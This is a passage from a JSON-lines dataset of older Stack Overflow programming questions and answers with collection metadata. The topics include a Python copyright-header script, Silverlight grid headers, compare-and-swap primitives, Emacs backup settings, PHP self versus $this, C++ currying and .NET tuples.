(fdata.startswith(copyright)):\n        print \"updating \"+filename\n        fdata = copyright + fdata\n        if (isUTF):\n            file(filename,\"w\").write(utfstr+fdata)\n        else:\n            file(filename,\"w\").write(fdata)\n\ndef recursive_traversal(dir,  oldcopyright, copyright):\n    global excludedir\n    fns = os.listdir(dir)\n    print \"listing \"+dir\n    for fn in fns:\n        fullfn = os.path.join(dir,fn)\n        if (fullfn in excludedir):\n            continue\n        if (os.path.isdir(fullfn)):\n            recursive_traversal(fullfn, oldcopyright, copyright)\n        else:\n            if (fullfn.endswith(\".cs\")):\n                update_source(fullfn, oldcopyright, copyright)\n    \n     \noldcright = file(\"oldcr.txt\",\"r+\").read()\ncright = file(\"copyrightText.txt\",\"r+\").read()\nrecursive_traversal(\"..\", oldcright, cright)\nexit()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.001150"}
{"id": "hf_471edfa3b6cd", "question": "<pre><code>  &lt;my:DataGridTemplateColumn \n            CanUserResize=\"False\" \n            Width=\"150\" \n            Header=\"{Binding MeetingName, Source={StaticResource LocStrings}}\" \n            SortMemberPath=\"MeetingName\"&gt; \n  &lt;/my:DataGridTemplateColumn&gt;\n</code></pre>\n\n<p>I have the above column in a Silverlight grid control. But it is giving me a XamlParser error because of how I am trying to set the Header property. Has anyone done this before? I want to do this for multiple languages.</p>\n\n<p>Also my syntax for the binding to a resouce is correct because I tried it in a lable outside of the grid.</p>\n", "question_body": "", "answer": "You can't Bind to Header because it's not a FrameworkElement.  You can make the text dynamic by modifying the Header Template like this:\n```\n```\nxmlns:data=\"clr-namespace:System.Windows.Controls;assembly=System.Windows.Controls.Data\"\nxmlns:dataprimitives=\"clr-namespace:System.Windows.Controls.Primitives;assembly=System.Windows.Controls.Data\"\n\n<data:DataGridTemplateColumn>   \n   <data:DataGridTemplateColumn.HeaderStyle>\n       <Style TargetType=\"dataprimitives:DataGridColumnHeader\">\n          <Setter Property=\"Template\">\n             <Setter.Value>\n                <ControlTemplate>                                        \n                  <TextBlock Text=\"{Binding MeetingName, Source={StaticResource LocStrings}}\" />                \n               </ControlTemplate>\n            </Setter.Value>\n         </Setter>\n      </Style>\n   </data:DataGridTemplateColumn.HeaderStyle>\n</data:DataGridTemplateColumn>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.025824"}
{"id": "hf_8d6ad595e506", "question": "<p>I've been trying to submit a form with the FormPanel using the Action class Ext defaults to. However, I'd like it to consider the response as a script, not JSON-encoded.</p>\n\n<p>Has anyone had any experience on this?</p>\n", "question_body": "", "answer": "The best plan would be to create a custom action by extending\n```\nExt.form.Action\n```\n.\nYou can then\n```\neval\n```\nthe\n```\nresponse\n```\nobject or the\n```\nresult\n```\nobject in the\n```\nsuccess\n```\ncallback of your custom action.\nYour custom action can be called from\n```\nExt.form.BasicForm\n```\nin the usual way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.126638"}
{"id": "hf_233c570e2fcd", "question": "<p>The link over here lists ([http://www.yoda.arachsys.com/csharp/singleton.html][1]) some singleton patterns in C#. The article also describes the obvious that a singleton is not meant to accept parameters which “as otherwise a second request for an instance but with a different parameter could be problematic”. This means that any parameters you need to get the class working should be induced as a property.  </p>\n\n<p>\nI am curious to know if there are any parameterized singleton design patterns out there. Accepting values as a property does not enforce anything to the consumer.\n</p>\n", "question_body": "", "answer": "Based on your question, it seems you may be looking at an Abstract Factory pattern (creates an instance of several families of classes) that keeps an internal list/dictionary of classes that have already been instantiated, thus mimicking the singleton pattern functionality.\nYou would then use this factory class to request an object based on parameters you've passed in, and if it exists in its internal list it gets returned, and if not, a new instance is created and then added to the list and returned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.152016"}
{"id": "hf_155f361a5c2b", "question": "<p>Is it possible for a web server to know which <em>type</em> of device request has been received from?</p>\n\n<p>For example, can a create a website which shows different contents if request came from a computer (Firefox) and something different if it came from iPhone?</p>\n", "question_body": "", "answer": "Check the\n```\nUser-Agent\n```\nin the Request Header\nFor full details on HTTP headers, see the specifications at\nhttp://www.w3.org/Protocols/\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.199078"}
{"id": "hf_c47f4c749b50", "question": "<p>Does Microsoft force an update down to all of its users of windows-update?  Is it for legal reasons?</p>\n\n<p>EDIT(aku):  </p>\n\n<p>Question was reformulated. if you want to know which version of Windows comes with .NET see this topic:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/71390/which-operating-systems-come-with-net\">https://stackoverflow.com/questions/71390/which-operating-systems-come-with-net</a></p>\n", "question_body": "", "answer": "Yes, Windows Vista shipped with .NET Framework 3.0. I'm sure future versions of Windows will ship with whichever is the most recent version of the framework.\nScott Hanselman recently blogged about the status of .NET 3.5 on Windows Update:\nhttp://www.hanselman.com/blog/UpdateOnNETFramework35SP1AndWindowsUpdate.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.223669"}
{"id": "hf_7539adfa26b3", "question": "<p>We have an old project written using Managed C++ syntax. I would like to propose to the team a reasonably pain-free (I don't mind some level of human interaction, I think I'm realistic in my expectations that we'll still have to do some work by hand) method of updating the existing code to C++/CLI syntax so that we can also add XML documentation (the project is a library into other projects and having documentation would be immensely useful).</p>\n\n<p>So, are there any good tools out there to help with this? Or is it just a case of switching to the new C++/CLI syntax compiler and fixing errors as we go?</p>\n", "question_body": "", "answer": "Microsoft has a\ntool\nthat will help a little.\nVisual c++ blog post about it.\nHere are a couple other resources I found useful when I made our switch\nC++/CLI Migration Primer\nManaged Extensions for C++ Syntax Upgrade Checklist\nThe Microsoft tool is just a start. there were many files that it could not convert.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.257272"}
{"id": "hf_28efa3855f24", "question": "<p>Does it matter to developers that the current, and newer versions of .Net don't support windows 2000?</p>\n\n<p>It scares me to think that several of my clients still use Windows 2000 and although I may decide to stop supporting Windows 2000 one day, I don't like that Microsoft is pushing it on people's products. </p>\n\n<p>Could anyone see Microsoft doing this with XP in the future to spur sales of Vista and later?</p>\n\n<p>Just to clarify, this is not a bashing of MS in any way, I love MS, but it is a genuine concern that I would like opinions on.</p>\n\n<p>In contrast I can't see C++0x implementors saying \"it won't work on windows 2000\"</p>\n\n<p>I'm really trying to convince myself that I should be switching to .Net but this is one of my concerns.</p>\n", "question_body": "", "answer": "Supporting older operating systems costs money. It's not necessarily a push to spur sales of new systems so much as avoiding the cost of trying to make things work on old systems that they've already ceased supporting. Just as Windows 2000 support has ended, so will Windows XP support, and Vista support, and Windows 7 support, etc etc. Continuing to support the .NET framework on operating systems that are no longer supported in any other way does not seem prudent.\nEDIT: To address the notion that since the CLR is the same for .NET 2.0 and the newer framework versions, the restriction was artificial. Although it is still working on the same CLR, that doesn't mean that all the support they've added will effectively work on Windows 2000. There are performance and hardware considerations to be made and I think considering the age of Windows 2000 and some of the more intensive features added to 3.0 and 3.5 frameworks, it was a reasonable decision to abandon WIndows 2k.\nWhenever we as developers consider supporting a particular user-base, there has to be a consideration of the resources needed to add that additional user-base over the benefits of supporting them. Testing, bug fixing, and support costs have to be factored in. As Windows 2000 is no longer given any security updates, they would need to resurrect an update mechanism just for .NET updates. I suspect that the benefits do not outweigh the costs in this scenario. It therefore makes sense to me that Microsoft should artificially prevent newer frameworks from running on Windows 2000 as they are then saving themselves these additional costs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.319083"}
{"id": "hf_28d4d59accab", "question": "<p>just curious to know which CPU architectures support compare and swap atomic primitives? </p>\n", "question_body": "", "answer": "Sparc v9 has a cas instruction. The SPARC v9\narchitecture manual\ndiscusses the use of the CAS instruction in Annex J, look specifically at examples J.11 and J.12.\nI believe the name of the instruction is actually \"casa\", because it can access either the current address space or an alternate. \"cas\" is an assembler macro which accesses the current ASI.\nThere is also an article on\ndevelopers.sun.com\ndiscussing the various atomic instructions which Sparc processors have implemented over the years, including cas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.343659"}
{"id": "hf_63bc91bec026", "question": "<p>Given a database field named \"widget_ids\", containing data like \"67/797/124/\" or \"45/\", where the numbers are slash separated widget_ids... how would you make an update statement with SQL that would say:\n\"if the widget_ids of the row with id X contains the text \"somenumber/\" do nothing, otherwise append \"somenumber/\" to it's current value\"</p>\n\n<p>Can you do something like that with SQL, or more specifically, sqlite? Is that something that is better done in the program for some reason or is there support for \"if-then\" like syntax in SQL?</p>\n", "question_body": "", "answer": "Updates are kind of like if-thens themselves, and there is also if-then support of some sort in most SQL implementations. A simple solution might be:\n```\n```\nupdate <tablename>\n  set widget_id = widget_id + \"somenumber/\"\n  where row_id = X\n    and widget_id not like \"%/somenumber/%\"\n    and widget_id not like \"somenumber/%\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.379726"}
{"id": "hf_fa288cad2898", "question": "<p>I'd like to document what high-level (i.e. C++ not inline assembler ) functions or macros are available for Compare And Swap (CAS) atomic primitives... </p>\n\n<p>E.g., WIN32 on x86 has a family of functions <code>_InterlockedCompareExchange</code> in the <code>&lt;_intrin.h&gt;</code> header.</p>\n", "question_body": "", "answer": "I'll let others list the various platform-specific APIs, but for future reference in C++09 you'll get the\n```\n```\natomic_compare_exchange()\n```\n```\noperation in the new \"Atomic operations library\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.440992"}
{"id": "hf_3b3581e6e7ce", "question": "<p>Since Unicode lacks a series of zero width sorting characters, I need to determine equivalent characters that will allow me to force a certain order on a list that is automatically sorted by character values. Unfortunately the list items are not in an alphabetical order, nor is it acceptable to prefix them with visible characters to ensure the result of the sort matches the wanted outcome.</p>\n\n<p>What Unicode characters can be thrown in front of regular Latin alphabet text, and will not appear, but still allow me to \"spike\" the sort in the way I require?</p>\n\n<p>(BTW this is being done with Drupal 5 with a user profile list field. Don't bother suggesting changing that to a vocabulary/category.)</p>\n", "question_body": "", "answer": "Personally, I just prefer to use a primary/secondary sort key. It's less kludgy, and easy to implement in a typical sql query (ORDER BY column_a,column_b).\nEdited to add\n: In Php, you could use\n```\nusort(array, comparisonFunction)\n```\nwith a custom comparison function to add additional logic for sorting, if you can't use SQL to do the trick.\nHowever, if you only have one column to work with and that's unfixable, just prefix with a certain number of unlikely characters like underscores for sorting, then strip them just before you display them. (using regexp substitution or similar).\nUnicode-based hacks will depend heavily on what fonts are used, what locale's collation/sorting order you're using, and may produce undesirable side effects on clients you don't have control over (different browsers, different oses, different client locales). Most \"unprintable\" characters yield the \"unknown character\" when displayed on systems without support for them, which usually looks like an empty square. There are some zero-width characters used for languages like Arabic, but they shouldn't affect sorting except in applications with very perverse Unicode support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.463328"}
{"id": "hf_45db9f4a8699", "question": "<p>This isn't as malicious as it sounds, I want to get the current size of their windows, not look at what is in them.  The purpose is to figure out that if every other window is fullscreen then I should start up like that too.  Or if all the other processes are only 800x600 despite there being a huge resolution then that is probably what the user wants.  Why make them waste time and energy resizing my window to match all the others they have?  I am primarily a Windows devoloper but it wouldn't upset me in the least if there was a cross platform way to do this.</p>\n", "question_body": "", "answer": "Check out the\n```\nwin32gui\n```\nmodule\nin the Windows extensions for Python. It may provide some of the functionality you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.482678"}
{"id": "hf_1ca638ecfca2", "question": "<p>In many languages, assignments are legal in conditions. I never understood the reason behind this. Why would you write:</p>\n<pre><code>if (var1 = var2) {\n  ...\n}\n</code></pre>\n<p>instead of:</p>\n<pre><code>var1 = var2;\nif (var1) {\n  ...\n}\n</code></pre>\n<p>?</p>\n", "question_body": "", "answer": "It can be useful if you're calling a function that returns either data to work on or a flag to indicate an error (or that you're done).\nSomething like:\n```\n```\nwhile ((c = getchar()) != EOF) {\n    // process the character\n}\n\n// end of file reached...\n```\n```\nPersonally it's an idiom I'm not hugely fond of, but sometimes the alternative is uglier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.502645"}
{"id": "hf_7c1c5ebc7f60", "question": "<p>I have renamed some excel files on my web server and after renaming the users cannot download those files. What could be the problem. They are all excel files.</p>\n", "question_body": "", "answer": "Some possibilities I can think of:\nMake sure the extension on the files is still .xls (that's how it associates the mime type)\nCheck the file protections on the files in case it, or the ownership got changed when you renamed them\nMake sure Excel didn't open them on the webserver (if a windows web server) as it will keep them locked until the EXCEL.EXE process is killed.\nMight be one of those ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.522724"}
{"id": "hf_0979d38a0101", "question": "<p>I have a form where i have used Infragistics windows grid control to display the data. \nIn this, i have placed a button on one of the cell. I want to set its visibility either True or False based on the row condition. \nI have handled the <strong>InitializeRow</strong> event of <strong>UltraWinGrid</strong> control and able to disable the button. But i am unable to set the button's visible to False.</p>\n", "question_body": "", "answer": "```\n```\nUltraGridRow row = ...\n\nrow.Cells[buttonCellIndex].Hidden = true;\n```\n```\n(I'm using the\n```\nUltraGrid\n```\nin Infragistics NetAdvantage for Windows Forms 2008 Vol. 2 CLR 2.0.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.558702"}
{"id": "hf_b05da64733c8", "question": "<p>What is the best way to free resources (in this case unlock the ReadWriteLock) when leaving the scope ? How to cover all possible ways (return, break, exceptions etc)?</p>\n", "question_body": "", "answer": "A try/finally block is the closest thing that you can get to this behaviour:\n```\n```\nLock l = new Lock();\nl.lock();  // Call the lock before calling try.\ntry {\n    // Do some processing.\n    // All code must go in here including break, return etc.\n    return something;\n} finally {\n    l.unlock();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.673165"}
{"id": "hf_1acf322d15a5", "question": "<p>Emacs puts backup files named <code>foo~</code> everywhere and I don't like having to remember to delete them.  Also, if I edit a file that has a hard link somewhere else in the file system, the hard link points to the backup when I'm done editing, and that's confusing and awful.  How can I either eliminate these backup files, or have them go somewhere other than the same directory?</p>\n", "question_body": "", "answer": "If you've ever been saved by an Emacs backup file, you\nprobably want more of them, not less of them.  It is annoying\nthat they go in the same directory as the file you're editing,\nbut that is easy to change.  You can make all backup files go\ninto a directory by putting something like the following in your\n```\n.emacs\n```\n.\n```\n```\n(setq backup-directory-alist `((\".\" . \"~/.saves\")))\n```\n```\nThere are a number of arcane details associated with how Emacs\nmight create your backup files.  Should it rename the original\nand write out the edited buffer?  What if the original is linked?\nIn general, the safest but slowest bet is to always make backups\nby copying.\n```\n```\n(setq backup-by-copying t)\n```\n```\nIf that's too slow for some reason you might also have a look at\n```\nbackup-by-copying-when-linked\n```\n.\nSince your backups are all in their own place now, you might want\nmore of them, rather than less of them.  Have a look at the Emacs\ndocumentation for these variables (with\n```\nC-h v\n```\n).\n```\n```\n(setq delete-old-versions t\n  kept-new-versions 6\n  kept-old-versions 2\n  version-control t)\n```\n```\nFinally, if you absolutely must have no backup files:\n```\n```\n(setq make-backup-files nil)\n```\n```\nIt makes me sick to think of it though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.728622"}
{"id": "hf_3dd7cc4329c4", "question": "<p>The Project's Web section (under project properties in VS2008) has a list of debuggers: ASP.NET, Native Code, SQL Server. What is Native Code?</p>\n", "question_body": "", "answer": "Native code is machine code executed directly by the CPU. This is in contrast to .NET bytecode, which is interpreted by the .NET virtual machine.\nA nice MSDN hit:\nDebugging Native Code", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.754847"}
{"id": "hf_f6bcbcbef0b7", "question": "<p>I am looking to store 2D arrays of 900x100 elements in a database.  Efficient recall and comparison of the arrays is important.  I could use a table with a schema like [A, x, y, A(x,y)] such that a single array would compromise 90,000 records.  This seems like an ~ok~ table design to store the array, and would provide for efficient recall of single elements, but inefficient recall of a whole array and would make for very inefficient array comparisons.</p>\n\n<p>Should I leave the table design this way and build and compare my arrays in code?  Or is there a better way to structure the table such that I can get efficient array comparisons using database only operations?</p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "900 x 100 elements is actually very small (even if the elements are massive 1K things that'd only be 90 MB).  Can't you just compare in memory when needed and store on disk in some serialized format?\nIt doesn't make sense to store 2D arrays in the database, especially if it is immutable data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.784241"}
{"id": "hf_afcff36a7678", "question": "<p>In PHP 5, what is the difference between using <code>self</code> and <code>$this</code>?</p>\n\n<p>When is each appropriate?</p>\n", "question_body": "", "answer": "According to\nStatic Keyword\n, there isn't any\n```\n$self\n```\n. There is only\n```\n$this\n```\n, for referring to the current instance of the class (the object), and\n```\nself\n```\n, which can be used to refer to static members of a class. The difference between an object instance and a class comes into play here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.841007"}
{"id": "hf_0e3ac897b38c", "question": "<p>What is currying?</p>\n\n<p>How can currying be done in C++?</p>\n\n<p>Please Explain binders in STL container?</p>\n", "question_body": "", "answer": "In short, currying takes a function\n```\nf(x, y)\n```\nand given a fixed\n```\nY\n```\n, gives a new function\n```\ng(x)\n```\nwhere\n```\n```\ng(x) == f(x, Y)\n```\n```\nThis new function may be called in situations where only one argument is supplied, and passes the call on to the original\n```\nf\n```\nfunction with the fixed\n```\nY\n```\nargument.\nThe binders in the STL allow you to do this for C++ functions. For example:\n```\n```\n#include <functional>\n#include <iostream>\n#include <vector>\n\nusing namespace std;\n\n// declare a binary function object\nclass adder: public binary_function<int, int, int> {\npublic:\n    int operator()(int x, int y) const\n    {\n        return x + y;\n    }\n};\n\nint main()\n{\n    // initialise some sample data\n    vector<int> a, b;\n    a.push_back(1);\n    a.push_back(2);\n    a.push_back(3);\n\n    // here we declare a function object f and try it out\n    adder f;\n    cout << \"f(2, 3) = \" << f(2, 3) << endl;\n\n    // transform() expects a function with one argument, so we use\n    // bind2nd to make a new function based on f, that takes one\n    // argument and adds 5 to it\n    transform(a.begin(), a.end(), back_inserter(b), bind2nd(f, 5));\n\n    // output b to see what we got\n    cout << \"b = [\" << endl;\n    for (vector<int>::iterator i = b.begin(); i != b.end(); ++i) {\n        cout << \"  \" << *i << endl;\n    }\n    cout << \"]\" << endl;\n\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.902095"}
{"id": "hf_89adcf433839", "question": "<p>I've got a php script. Most of the time the script returns html, which is working fine, but on one occasion (parameter ?Format=XML) the script returns XML instead of HTML.</p>\n\n<p>Is there any way to change the returned mime type of the php output on the fly from text/html to text/xml or application/xml?</p>\n", "question_body": "", "answer": "```\n```\nheader('Content-type: application/xml');\n```\n```\nMore information available at the PHP documentation for\n```\nheader()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.926519"}
{"id": "hf_eae74934ea26", "question": "<p>I have a <a href=\"http://www.luminarymicro.com/products/rdk-idm.html\" rel=\"nofollow noreferrer\">RDK-IDM</a> from <a href=\"http://www.luminarymicro.com/\" rel=\"nofollow noreferrer\">Luminary Micro</a>. This board has a 32-bit ARM® <a href=\"http://www.arm.com/products/CPUs/ARM_Cortex-M3.html\" rel=\"nofollow noreferrer\">Cortex™-M3 core</a>. Has anybody tried to run a .NET Micro Framework application on such a device?</p>\n", "question_body": "", "answer": "It seems that the LM3S6918 (The chip on the RDK-IDM) has only 256KB Flash and 64Kb SRAM but .NET Micro Framework requires 256KB RAM and 512K Flash/ROM!\nRead more\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.950324"}
{"id": "hf_031f93d67cfb", "question": "<p>.Net 3.5 doesn't support tuples. Too bad, But not sure whether the future version of .net will support tuples or not? </p>\n", "question_body": "", "answer": "```\n```\n#region tuples\n\n    public class Tuple<T>\n    {\n        public Tuple(T first)\n        {\n            First = first;\n        }\n\n        public T First { get; set; }\n    }\n\n    public class Tuple<T, T2> : Tuple<T>\n    {\n        public Tuple(T first, T2 second)\n            : base(first)\n        {\n            Second = second;\n        }\n\n        public T2 Second { get; set; }\n    }\n\n    public class Tuple<T, T2, T3> : Tuple<T, T2>\n    {\n        public Tuple(T first, T2 second, T3 third)\n            : base(first, second)\n        {\n            Third = third;\n        }\n\n        public T3 Third { get; set; }\n    }\n\n    public class Tuple<T, T2, T3, T4> : Tuple<T, T2, T3>\n    {\n        public Tuple(T first, T2 second, T3 third, T4 fourth)\n            : base(first, second, third)\n        {\n            Fourth = fourth;\n        }\n\n        public T4 Fourth { get; set; }\n    }\n\n    #endregion\n```\n```\nAnd to make declarations prettier:\n```\n```\npublic static class Tuple\n{\n    //Allows Tuple.New(1, \"2\") instead of new Tuple<int, string>(1, \"2\")\n    public static Tuple<T1, T2> New<T1, T2>(T1 t1, T2 t2)\n    {\n        return new Tuple<T1, T2>(t1, t2);\n    }\n    //etc...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:58.999766"}
{"id": "hf_df4428f38727", "question": "<p>Any time I try to publish my Portal project on a Websphere Portal 6.1 Server, I get the following error message:</p>\n\n<pre><code>Portal project publishing is not supported on WebSphere Portal v6.1 Server\n</code></pre>\n\n<p>Is that really true or have I done something wrong?</p>\n\n<p>I'm trying to deploy a portal project, with the underlying goal of publishing a new theme.</p>\n\n<p>Unfortunately, any time I try to deploy, I get the error message listed above from the IDE and no errors in the console.</p>\n\n<p>The RAD version is 7.0.0.7.</p>\n", "question_body": "", "answer": "Not sure this will help, but:\nLimitation: Although the WebSphere\n  Portal installer contains an advanced\n  option to install an empty portal,\n  Portal Designer relies on\n  administration portlets for setting\n  access control; therefore, publishing\n  a portal project to an empty portal is\n  not supported.\nAre you trying to deploy a portlet or an entire portal project? What version of RAD are you using? Any other information in the error log? (Both within RAD & on WP server) Is the error message posted verbatim?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.023099"}
{"id": "hf_27f5a3bf1872", "question": "<p>I have a submission table that is very simple: userId, submissionGuid</p>\n\n<p>I want to select the username (simple inner join to get it) of all the users who have more than 10 submissions in the table. </p>\n\n<p>I would do this with embedded queries and a group by to count submissions... but is there a better way of doing it (without embedded queries)?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\nselect userId, count(*)\nfrom   submissions\nhaving count(*) > 10\ngroup by userId\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.058845"}
{"id": "hf_4fbe86038a80", "question": "<p>I want to be able to compare an image taken from a webcam to an image stored on my computer.</p>\n\n<p>The library doesn't need to be one hundred percent accurate as it won't be used in anything mission critical (e.g. police investigation), I just want something OK I can work with.</p>\n\n<p>I have tried a demonstration project for <a href=\"http://www.codeproject.com/KB/cs/BackPropagationNeuralNet.aspx\" rel=\"noreferrer\">Image Recognition from CodeProject</a>, and it only works with small images / doesn't work at all when I compare an exact same image 120x90 pixels (this is not classified as OK :P ).</p>\n\n<p>Has there been any success with image recognition before?</p>\n\n<p>If so, would you be able to provide a link to a library I could use in either C# or VB.NET?</p>\n", "question_body": "", "answer": "You could try this:\nhttp://code.google.com/p/aforge/\nIt includes a comparison analysis that will give you a score. There are many other great imaging features of all types included as well.\n```\n```\n// The class also can be used to get similarity level between two image of the same size, which can be useful to get information about how different/similar are images:\n// Create template matching algorithm's instance\n\n// Use zero similarity to make sure algorithm will provide anything\nExhaustiveTemplateMatching tm = new ExhaustiveTemplateMatching(0);\n\n// Compare two images\nTemplateMatch[] matchings = tm.ProcessImage( image1, image2 );\n\n// Check similarity level\nif (matchings[0].Similarity > 0.95)\n{\n    // Do something with quite similar images\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:59.082412"}
{"id": "hf_d2ae51e1dec7", "question": "<p>I want to learn MVC \"architecture pattern\" but I don't want to jump into a framework like Rails or Django just yet.  I want to understand the concept first and write some simple code in my currently familiar environment, which happens to be PHP/HTML/CSS/MySQL.  I don't necessarily need a tutorial that is based on PHP, as I do understand a lot of different languages. And I don't want to have to install any frameworks or APIs or libraries.  I just want to learn how to think in MVC and apply it to my projects. Any suggestions?</p>\n", "question_body": "", "answer": "Almost every framework does MVC differently, so you might end up getting even more confused. The general principles of MVC are very simple: \"Model is state; view reacts to model; controller reacts to view; controller changes model\". The model, view and controller are concepts - they are whatever you feel them to be. Classes, bunches of classes, instances of classes with XML configuration files, you name it.\nI actually think that about covers the basic principles. Without a framework, you'd not get much further. What matters is how a particular framework defines model, view and controller and their interactions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 